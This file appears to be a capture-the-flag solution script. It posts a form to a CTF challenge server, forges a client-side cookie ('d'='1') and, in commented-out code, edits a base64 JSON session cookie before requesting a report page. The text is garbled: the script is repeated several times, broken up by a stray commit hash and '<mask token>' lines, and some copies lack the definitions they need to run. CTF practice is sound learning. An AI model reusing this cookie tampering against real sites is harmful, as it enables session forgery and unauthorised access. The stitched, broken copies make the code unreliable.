import requests
import base64
import json
s = requests.Session() 
# all cookies received will be stored in the session object

stepone = s.post('http://chals.ctf.sg:30601/submit',data={"confession":'a'})
print(stepone.text)



def process(s):
    '''
    data = json.loads(base64.b64decode(s.cookies['session'].encode()))
    #data['hi'] = 'noU'
    print(data)
    d = base64.b64encode(json.dumps(data).encode()).decode()
    #print(d)
    s.cookies['session'] = d
    '''
    s.cookies['d'] = '1'

process(s)
print(s.cookies) # Mutable object

steptwo = s.get('http://chals.ctf.sg:30601/report')
print(steptwo.text)



8a460ad485f86752f398aecccacd6d17058bbe37
<mask token>


def process(s):
    """
    data = json.loads(base64.b64decode(s.cookies['session'].encode()))
    #data['hi'] = 'noU'
    print(data)
    d = base64.b64encode(json.dumps(data).encode()).decode()
    #print(d)
    s.cookies['session'] = d
    """
    s.cookies['d'] = '1'


<mask token>

<mask token>
print(stepone.text)


def process(s):
    """
    data = json.loads(base64.b64decode(s.cookies['session'].encode()))
    #data['hi'] = 'noU'
    print(data)
    d = base64.b64encode(json.dumps(data).encode()).decode()
    #print(d)
    s.cookies['session'] = d
    """
    s.cookies['d'] = '1'


process(s)
print(s.cookies)
<mask token>
print(steptwo.text)

<mask token>
s = requests.Session()
stepone = s.post('http://chals.ctf.sg:30601/submit', data={'confession': 'a'})
print(stepone.text)


def process(s):
    """
    data = json.loads(base64.b64decode(s.cookies['session'].encode()))
    #data['hi'] = 'noU'
    print(data)
    d = base64.b64encode(json.dumps(data).encode()).decode()
    #print(d)
    s.cookies['session'] = d
    """
    s.cookies['d'] = '1'


process(s)
print(s.cookies)
steptwo = s.get('http://chals.ctf.sg:30601/report')
print(steptwo.text)

import requests
import base64
import json
s = requests.Session()
stepone = s.post('http://chals.ctf.sg:30601/submit', data={'confession': 'a'})
print(stepone.text)


def process(s):
    """
    data = json.loads(base64.b64decode(s.cookies['session'].encode()))
    #data['hi'] = 'noU'
    print(data)
    d = base64.b64encode(json.dumps(data).encode()).decode()
    #print(d)
    s.cookies['session'] = d
    """
    s.cookies['d'] = '1'


process(s)
print(s.cookies)
steptwo = s.get('http://chals.ctf.sg:30601/report')
print(steptwo.text)

import requests
import base64
import json
s = requests.Session() 
# all cookies received will be stored in the session object

stepone = s.post('http://chals.ctf.sg:30601/submit',data={"confession":'a'})
print(stepone.text)



def process(s):
    '''
    data = json.loads(base64.b64decode(s.cookies['session'].encode()))
    #data['hi'] = 'noU'
    print(data)
    d = base64.b64encode(json.dumps(data).encode()).decode()
    #print(d)
    s.cookies['session'] = d
    '''
    s.cookies['d'] = '1'

process(s)
print(s.cookies) # Mutable object

steptwo = s.get('http://chals.ctf.sg:30601/report')
print(steptwo.text)


